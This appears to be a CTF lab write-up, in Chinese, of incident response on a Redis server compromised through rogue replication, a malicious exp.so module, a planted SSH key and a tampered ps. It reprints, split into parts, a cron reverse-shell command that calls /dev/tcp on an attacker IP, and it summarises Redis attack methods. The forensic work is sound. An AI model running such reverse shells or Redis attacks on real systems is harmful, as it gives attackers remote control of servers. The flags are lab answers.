玄机——第二章日志分析-redis应急响应
第二章日志分析-redis应急响应
通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
1.分析题目
首先去搜索了一下redis是什么
redis，是一个开源的、基于内存的 键值存储数据库，常用于缓存、消息队列和实时数据处理。支持将数据持久化到磁盘上,支持主从复制，可以将数据从一个 Redis 服务器复制到多个从服务器可以将数据从一个 Redis 服务器复制到多个从服务器,以防数据丢失,由于其高性能和简单易用的特性，Redis 也成为黑客攻击的常见目标（如未授权访问、数据泄露、植入木马等）。
查到了一般的攻击点
| 风险点 | 攻击手法 | 后果 |
|---|---|---|
| 默认无密码 | 黑客直接连接 Redis 未授权端口（默认 6379），执行任意命令。 | 数据泄露、服务器沦陷 |
| 持久化文件注入 | 通过 CONFIG SET dir 和 SET 写入恶意文件（如 SSH 公钥、Webshell）。 | 提权、持久化后门 |
| 主从复制滥用 | 强制 Redis 作为从节点同步恶意数据（如 MODULE LOAD 加载恶意模块）。 | 远程代码执行（RCE） |
| 内存耗尽攻击 | 写入大量数据导致 OOM（Out of Memory），引发服务拒绝（DoS）。 | 系统崩溃 |
了解到redis的日志文件一般存放在目录/var/log下，
2.解题
cat /var/log/redis.log #查看redis.log的文件内容
可以看到IP192.168.100.13一直尝试进行连接，但是都被拒绝了
那么输入flag flag{192.168.100.13}，flag对了，但是这是步骤 #3的flag，哭笑不得。
复制其中一部分数据给豆包分析一下：
这里是IP 192.168.100.13一直尝试进行连接被拒
419:S 31 Jul 2023 05:33:58.709 * Connecting to MASTER 192.168.100.13:8888 #节点REPLICA尝试去连接主节点MASTER
419:S 31 Jul 2023 05:33:58.709 * MASTER <-> REPLICA sync started #表示 Redis 主从复制（Replication）的同步过程已启动，即从节点（REPLICA）正在尝试与主节点（MASTER）建立数据同步连接
419:S 31 Jul 2023 05:33:58.710 # Error condition on socket for SYNC: Connection refused #连接被拒绝
后面IP 192.168.200.2:64319 向当前 Redis 节点发送 REPLICAOF 命令，强制其成为 192.168.31.55:8888 的从节点，但是没有结果，应该是切换失败了，因为后文它紧接着又执行了切换命令
419:S 31 Jul 2023 05:34:03.034 * REPLICAOF 192.168.31.55:8888 enabled (user request from 'id=5 addr=192.168.200.2:64319 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=47 qbuf-free=32721 obl=0 oll=0 omem=0 events=r cmd=slaveof') #发送切换请求
419:S 31 Jul 2023 05:34:03.722 * Connecting to MASTER 192.168.31.55:8888
419:S 31 Jul 2023 05:34:03.722 * MASTER <-> REPLICA sync started
又一切换命令，IP 192.168.200.2:64339 向当前 Redis 节点发送 REPLICAOF 命令，强制其成为 192.168.100.20:8888 的从节点。
419:S 31 Jul 2023 05:34:33.173 * REPLICAOF 192.168.100.20:8888 enabled (user request from 'id=6 addr=192.168.200.2:64339 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=48 qbuf-free=32720 obl=0 oll=0 omem=0 events=r cmd=slaveof')
419:S 31 Jul 2023 05:34:33.786 * Connecting to MASTER 192.168.100.20:8888
419:S 31 Jul 2023 05:34:33.786 * MASTER <-> REPLICA sync started
419:S 31 Jul 2023 05:34:33.788 * Non blocking connect for SYNC fired the event.
419:S 31 Jul 2023 05:34:35.192 * Master replied to PING, replication can continue... #主节点 192.168.100.20:8888 响应了 PING 命令，表示主从复制可以继续。
响应了PING命令，说明连接成功了。
分析一下其中IP的关系，节点REPLIA尝试连接主节点 192.168.100.13，但是一直被拒绝，后面节点REPLIA IP192.168.200.2尝试强制切换到IP 192.168.31.55，但是没有成功连接到，然后继续尝试切换到另一个IP 192.168.100.20,成功了，并且响应了PING请求。
步骤 #1说的是黑客攻击成功的 IP 为多少，那么为IP 192.168.100.20
那么输入flag flag{192.168.100.20}，步骤 #1成功解出来了！
步骤 #2
通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
1.分析题目
2.解题
可以观察到日志中system 模块从 ./exp.so 加载
这个exp.so文件非常的可疑，那么看一下它的文件路径
pwd exp.so #查看文件在哪些目录下
在根目录下,即/
那么
strings /path/to/exp.so | less #提取可打印字符串
**strings **用于从二进制文件或目标文件中提取可打印的字符串
**less**将strings命令的输出通过管道传递给 less命令，用于分页查看结果
那么进行查看找到了flag
则flag 为 flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
步骤 #3
通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;
1.分析题目
-
什么是反弹shell？
黑客在目标服务器上执行恶意程序，使目标服务器主动连接黑客控制的 IP 和端口（即 “反弹”），从而建立反向连接。攻击者为了确保反弹 Shell 在系统重启后仍能自动重建，通常会 将反弹 Shell 命令写入定时任务。我觉得这里大概率是定时任务这个点，因为刚才查看redis.log文件时，节点多次尝试连接主节点被拒，这里这个多次，应该是设置好的重复执行这个反弹shell
2.解题
那么查看定时任务
crontab -l #列出定时任务
crontab 是用户与 cron 交互的工具，并且是系统自启动的，通过编辑 crontab 文件来管理定时任务，并且是系统自启动的。
Crontab 文件格式
每行定义一个任务，格式为 6 个字段（前 5 个是时间，最后 1 个是命令）：
MIN HOUR DOM MON DOW CMD
| 字段 | 名称 | 取值范围 | 说明 |
|---|---|---|---|
MIN | 分钟 | 0-59 | 每小时的第几分钟执行 |
HOUR | 小时 | 0-23 | 每天的第几小时执行 |
DOM | 日期（Day of Month） | 1-31 | 每月的第几天执行 |
MON | 月份 | 1-12 或 JAN-DEC | 每年的第几月执行 |
DOW | 星期（Day of Week） | 0-6 或 SUN-SAT | 每周的星期几执行（0=周日） |
CMD | 命令 | - | 需要执行的命令或脚本路径 |
0 3 * * * /home/user/backup.sh # 每天凌晨 3 点执行备份脚本，*代表匹配任意值
可以看到这里有一个典型的 反弹 Shell（Reverse Shell）攻击指令，目的是让受害服务器定期主动连接攻击者的控制端，从而建立远程控制通道。
| 部分 | 说明 |
|---|---|
*/1 * * * * | 定时规则：每分钟执行一次（*代表任意值，*/1表示每1分钟）。 |
/bin/sh -i | 启动一个交互式 Shell（-i 参数表示交互模式）。 |
>& /dev/tcp/192.168.100.13/7777 | 将 Shell 的输入/输出重定向到 TCP 连接（连接到 192.168.100.13:7777）。 |
0>&1 | 将标准输入（文件描述符0）重定向到标准输出（文件描述符1），实现双向通信。 |
那么这个IP 192.168.100.13则为黑客反弹 shell 的IP，flag为 flag{192.168.100.13}
步骤 #4
通过本地 PC SSH到服务器并且溯源分析黑客的用户名，并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交
1.分析题目
在溯源黑客攻击时，SSH 登录日志是最关键的入口之一，它能直接揭示攻击者的入侵路径、使用的用户名、IP 地址及操作时间，日志会记录成功登录的 用户名，帮助区分正常用户和攻击者伪造的账户。
既然又是查询黑客用户名，那么就看一下日志里面登录成功的信息。
2、解题
首先查看日志，看成功进行的信息
cat /var/log/auth.log.1 |grep "Accepted"
然后发现了里面好像有两种方式
Jul 31 04:45:34 redis-yingji sshd[787]: Accepted publickey for root from 192.168.200.2 port 62202 ssh2: RSA SHA256:0lGHIetnKriW/m8RSypdtgrhP0KIgrpk9VNAgFXF1fs
Jul 31 04:59:18 redis-yingji sshd[483]: Accepted publickey for root from 192.168.200.2 port 62616 ssh2: RSA SHA256:0lGHIetnKriW/m8RSypdtgrhP0KIgrpk9VNAgFXF1fs
Jul 31 05:08:01 redis-yingji sshd[5269]: Accepted publickey for root from 192.168.200.2 port 63045 ssh2: RSA SHA256:0lGHIetnKriW/m8RSypdtgrhP0KIgrpk9VNAgFXF1fs
Jul 31 05:25:41 redis-yingji sshd[465]: Accepted publickey for root from 192.168.200.2 port 64063 ssh2: RSA SHA256:0lGHIetnKriW/m8RSypdtgrhP0KIgrpk9VNAgFXF1fs
Jul 31 05:43:43 redis-yingji sshd[617]: Accepted publickey for root from 192.168.200.2 port 64681 ssh2: RSA SHA256:Y4r+AAXumPBzQWA2yR+1e67nIg7b98qOgRr3ZNnZB6k
Accepted publickey for root，查找发现这是SSH身份验证的公钥认证方式。
Jul 31 06:10:38 redis-yingji sshd[476]: Accepted password for root from 192.168.200.2 port 65210 ssh2
Jul 31 06:11:33 redis-yingji sshd[516]: Accepted password for root from 192.168.200.2 port 65231 ssh2
Jul 31 06:12:58 redis-yingji sshd[475]: Accepted password for root from 192.168.200.2 port 65256 ssh2
Aug 1 01:31:14 redis-yingji sshd[3149]: Accepted password for root from 192.168.200.2 port 54831 ssh2
Aug 1 01:34:18 redis-yingji sshd[474]: Accepted password for root from 192.168.200.2 port 54980 ssh2
Aug 1 01:40:54 redis-yingji sshd[476]: Accepted password for root from 192.168.200.2 port 55379 ssh2
Aug 1 01:41:49 redis-yingji sshd[458]: Accepted password for root from 192.168.200.2 port 55383 ssh2
Accepted password for root，查找发现这个是SSH身份验证的密码验证方式。
.ssh 是 SSH（Secure Shell） 协议在用户家目录（~/.ssh/）下自动创建的隐藏文件夹，用于存储 SSH 密钥、配置文件和认证信息，确保安全的远程登录和文件传输。那么查找.ssh
root@ip-10-0-10-2:~# find / -name ".ssh"
/root/.ssh
/home/debian/.ssh
#发现了根目录下的.ssh文件夹
ls -al #列出所有文件信息
发现了.ssh文件夹，列出它的所有文件
cd ~/.ssh
ls -al
发现了一个文件authorized_keys，存储允许通过SSH免密登录的公钥列表。该文件权限其他用户可读，存在安全风险，攻击者可读取公钥信息，辅助进一步攻击，正确权限应该是仅所有者可读写。
那么查看这个文件的具体信息
cat authorized_keys
authorized_keys是 SSH 公钥认证的核心文件，用于存放允许登录当前服务器的客户端公钥 。正常情况下，文件里每行对应一个公钥，格式为 [密钥类型] [公钥内容] [可选注释]。
前面几行 redis - ver5.0.1 、redis - bits@... 这类，不属于标准 SSH 公钥格式 。那么很可能就是攻击者通过 Redis 未授权访问，将恶意公钥写入.ssh/authorized_keys。
然后到这里思路就有点断了，base解码中间的长串编码发现行不通，后面借鉴了 玄机——第二章日志分析-redis应急响应 wp 。
SSH公钥格式为ssh-rsa的格式为
ssh-rsa [Base64编码后的密钥内容] [可选注释]
那么搜索用户xj-test-user,发现了在github上的一篇相关的文章
找到wow-you-find-flag
则flag为 flag{xj-test-user-wow-you-find-flag}
步骤 #5
通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
1.分析题目
既然是篡改命令，那么可以在目录/bin中查找文件，bin，主要用于存放系统中最基本、最常用的可执行程序（命令）
2.解题
cd /bin
ls -al #查看文件所有内容
对于/bin目录下的可执行文件，通常所有者和所属组是 root，权限一般是 rwxr-xr-x 或者 r-xr-xr-x 等标准设置。如果出现类似 rwxrwxrwx（所有用户都有读写执行权限）等异常权限设置，就需要警惕是否被不正当修改了。
以 -rwxr-xr-x 为例，从左到右：
- 第一个字符 - 表示这是一个普通文件（如果是 d 则表示目录）
- 接下来的三个字符 rwx 表示文件所有者的权限，分别是读（read）、写（write）、执行（execute）权限。
- 再接下来的三个字符 r-x 表示文件所属组的权限。
最后三个字符 r-x 表示其他用户的权限。
现在查看ps命令的内容
则提交注释内容 c195i2923381905517d818e313792d196
即flag为 flag{c195i2923381905517d818e313792d196}，成功
参考文章
玄机——第二章日志分析-redis应急响应 wp